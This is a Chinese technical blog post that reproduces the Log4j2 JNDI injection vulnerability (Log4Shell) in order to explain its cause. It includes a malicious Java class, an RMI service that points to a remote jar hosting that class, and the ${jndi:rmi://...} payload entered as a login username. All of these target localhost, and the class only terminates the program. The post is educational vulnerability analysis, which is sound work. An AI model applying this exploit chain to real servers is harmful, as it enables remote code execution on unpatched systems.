1 事件背景
经过一周时间的Log4j2 RCE事件的发酵，事情也变也越来越复杂和有趣，就连 Log4j 官方紧急发布了 2.15.0 版本之后没有过多久，又发声明说 2.15.0 版本也没有完全解决问题，然后进而继续发布了 2.16.0 版本。大家都以为2.16.0是最终终结版本了，没想到才过多久又爆雷，Log4j 2.17.0横空出世。
相信各位小伙伴都在加班加点熬夜紧急修复和改正Apache Log4j爆出的安全漏洞，各企业都瑟瑟发抖，连网警都通知各位站长，包括我也收到了湖南长沙高新区网警的通知。
我也紧急发布了两篇教程，给各位小伙伴支招，我之前发布的教程依然有效。
【紧急】Apache Log4j任意代码执行漏洞安全风险升级修复教程
【紧急】继续折腾，Log4j再发2.16.0，强烈建议升级
虽然，各位小伙伴按照教程一步一步操作能快速解决问题，但是很多小伙伴依旧有很多疑惑，不知其所以然。在这里我给大家详细分析并复现一下Log4j2漏洞产生的原因，纯粹是以学习为目的。
Log4j2漏洞总体来说是通过JNDI注入恶意代码来完成攻击，具体的操作方式有RMI和LDAP等。
2 JNDI介绍
2.1 JNDI定义
JNDI（Java Naming and Directory Interface，Java命名和目录接口）是Java中为命名和目录服务提供接口的API，JNDI主要由两部分组成：Naming（命名）和Directory（目录），其中Naming是指将对象通过唯一标识符绑定到一个上下文Context，同时可通过唯一标识符查找获得对象，而Directory主要指将某一对象的属性绑定到Directory的上下文DirContext中，同时可通过名称获取对象的属性，同时也可以操作属性。
2.2 JNDI架构
Java应用程序通过JNDI API访问目录服务，而JNDI API会调用Naming Manager实例化JNDI SPI，然后通过JNDI SPI去操作命名或目录服务其如LDAP， DNS，RMI等，JNDI内部已实现了对LDAP，DNS， RMI等目录服务器的操作API。其架构图如下所示：
2.3 JNDI核心API
| 类名 | 解释 |
|---|---|
| Context | 命名服务的接口类，由很多的name-to-object的健值对组成，可以通过该接口将健值对绑定到该类中，也可通过该类根据name获取其绑定的对象 |
| InitialContextNaming | （命名服务）操作的入口类，通过该类可对命名服务进行相关的操作 |
| DirContext | Directory目录服务的接口类，该类继承自Context，在Naming服务的基础上扩展了对于对象属性的绑定和获取操作 |
| InitialDirContext | Directory目录服务相关操作的入口类，通过该类可进行目录相关服务的操作 |
Java通过JNDI API去调用服务。例如，我们大家熟悉的odbc数据连接，就是通过JNDI的方式来调用数据源的。以下代码大家应该很熟悉：
在Context.xml文件中我们可以定义数据库驱动，url、账号密码等关键信息，其中name这个字段的内容为自定义。下面使用InitialContext对象获取数据源
Connection conn=null;
PreparedStatement ps = null;
ResultSet rs = null;
try {
Context ctx=new InitialContext();
Object datasourceRef=ctx.lookup("java:comp/env/jndi/person"); //引用数据源
DataSource ds=(Datasource)datasourceRef;
conn = ds.getConnection();
//省略部分代码
...
c.close();
} catch(Exception e) {
e.printStackTrace();
} finally {
if(conn!=null) {
try {
conn.close();
} catch(SQLException e) { }
}
}
是不是很熟悉呢？JNDI的其他应用在此我就不多做介绍了，如果还不了解JNDI/RMI/LDAP等相关概念的小伙伴请自行百度一下。
3 攻击原理
下面我以RMI的方式为例，详细复现步骤和分析原因。解释基本攻击原理之前，我们先来看一张时序图：
1、攻击者首先发布一个RMI服务，此服务将绑定一个引用类型的RMI对象。在引用对象中指定一个远程的含有恶意代码的类。例如：包含 system.exit(1) 等类似的危险操作和恶意代码的下载地址。
2、攻击者再发布另一个恶意代码下载服务，此服务可以下载所有含有恶意代码的类。
3、攻击者利用Log4j2的漏洞注入RMI调用，例如：logger.info("日志信息 ${jndi:rmi://rmi-service:port/example}")。
4、调用RMI后将获取到引用类型的RMI远程对象，该对象将就加载恶意代码并执行。
4 漏洞复现
4.1 创建恶意代码
创建恶意代码相关类，以下代码仅供学习：
package com.tom.example.log4j;
public class HackedClassFactory {
public HackedClassFactory(){
System.out.println("程序即将终止");
System.exit(1);
}
}
创建HackedClassFactory类的定义，在构造函数里写入终止程序运行的恶意代码。
4.2 发布恶意代码
将HackedClassFactory类打成jar包，发布到HTTP服务器上，能通过简单的Get请求正常下载即可。
4.3 创建RMI服务
编写如下代码，并运行程序：
package com.tom.example.rmi;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.util.Hashtable;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class HackedRmiService {
public static void main(String[] args) {
try {
int port = 2048; //设置RMI服务远程监听端口
//创建并发布RMI服务
LocateRegistry.createRegistry(port);
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://127.0.0.1" + ":" + port);
Context context = new InitialContext(env);
String serviceName = "example";
String serviceClassName = "com.tom.example.log4j.HackedClassFactory";
//指定恶意代码的下载地址
Reference refer = new Reference(
serviceName,
serviceClassName,
"http://127.0.0.1/example/classes.jar");
ReferenceWrapper wrapper = new ReferenceWrapper(refer);
//为RMI服务绑定一个引用类型的对象，此对象可以被远程访问
context.bind(serviceName,wrapper);
}catch (Exception e){
e.printStackTrace();
}
}
}
RMI服务启动之后，即发布了监听端口为2048的RMI服务。
运行 netstat -ano | find "2048" 命令检验，得到如下结果，说明RMI服务已经正常启动，如下图：
4.4 注入恶意代码
下面我们利用Log4j的漏洞注入恶意代码，有已知用户登录的业务场景，小伙伴们先不管它是如何实现的，其代码如下：
@RequestMapping(value="/login")
public ResponseEntity login(String loginName,String loginPass){
ResultMsg data = memberService.login(loginName,loginPass);
//演示代码，省略业务逻辑，默认为登录成功
log.info("登录成功",loginName);
String json = JSON.toJSONString(data);
return ResponseEntity
.ok()
.contentType(MediaType.APPLICATION_JSON)
.body(json);
}
利用Postman测试，首先正常访问能得到期望的结果，如下图所示：
用户登录成功后会正常返回token，这看上去是一个常规操作。细心的小伙发现，在登录成功之后，后台会打印一条日志且输出登录的用户名。
接下来，我做一个非常规操作。将用户名输入为 ${jndi:rmi://localhost:2048/example}
我们发现程序已经无法响应，再看后台日志，已经终止运行。
这里仅仅只是演示效果，我编写的恶意代码只是终止程序，如果攻击者注入的是其他恶意代码，那后果将不堪设想。
5 源码分析
通过以上案例还原了攻击者利用Log4j的漏洞对目标程序进行攻击的完整过程，接下来分析一下Log4j的源码从而了解根本原因。其罪魁祸首是Log4j2 的MessagePatternConverter组件中的format()方法，Log4j在记录日志的时候会间接的调用该方法，具体源码如下：
从源码中我们可以发现该方法会截取 $ 和 { } 之间的字符串，将该字符作为查找对象的条件。如果字符是 jndi:rmi 这样的协议格式则进行JNDI方式的RMI调用,从而触发原生的RMI服务调用。具体调用位置在StrSubstitutor的substitute()方法:
private int substitute(LogEvent event, StringBuilder buf, int offset, int length, List priorVariables) {
//此处省略部分代码
...
this.checkCyclicSubstitution(varName, (List)priorVariables);
((List)priorVariables).add(varName);
String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
if (varValue == null) {
varValue = varDefaultValue;
}
//此处省略部分代码
...
}
上述代码中的resolveVariable()最终会调用InitialContext的lookup()方法：
protected String resolveVariable(LogEvent event, String variableName, StringBuilder buf, int startPos, int endPos) {
StrLookup resolver = this.getVariableResolver();
return resolver == null ? null : resolver.lookup(event, variableName);
}
通过断点调试，我们确实发现调用了RMI服务，下图所示：
最终恶意代码通过RMI加载完成以后，会调用javax.naming.spi.NamingManager的getObjectFactoryFromReference()方法加载恶意代码，也就是我们之前写的com.tom.example.log4j.HackedClassFactory类。首先会在尝试本地找，如果本地找不到会通过远程地址加载，也就是我们发布的下载服务，即http://127.0.0.1/example/classes.jar
加载远程代码之后，通过反射调用构造器创建攻击类的实例，而恶意代码编写在构造器中，所以在被攻击者的程序中间接执行了恶意代码。
看到这里，小伙伴们是不是有种和SQL注入如出一辙的感觉。
5 风险条件
该漏洞需要满足以下条件才有可能被攻击：
1、首先使用的是Logj4j2的漏洞版本，即 <= 2.14.1的版本。
2、攻击者有机会注入恶意代码，例如系统中记录的日志信息没有任何特殊过滤。
3、攻击者需要发布RMI远程服务和恶意代码下载服务。
4、被攻击者的网络可以访问到RMI服务和恶意代码下载服务，即被攻击者的服务器可以随意访问公网，或者在内网发布过类似的危险服务。
5、被攻击者在JVM中开启了RMI/LDAP等协议的truseURLCodebase属性为ture。
以上就是我对Log4j2 RCE漏洞的完整复现及根本原因分析，当然最高效的方式还是关闭Lookup相关功能。虽然，官方也在紧急修复，但涉及到软件升级存在一定风险，还有可能需要大量的重复测试工作。
我在之前紧急发布的教程依然有效，大家可以继续参照用最高效可靠的方式解决问题。
【紧急】Apache Log4j任意代码执行漏洞安全风险升级修复教程
【紧急】继续折腾，Log4j再发2.16.0，强烈建议升级
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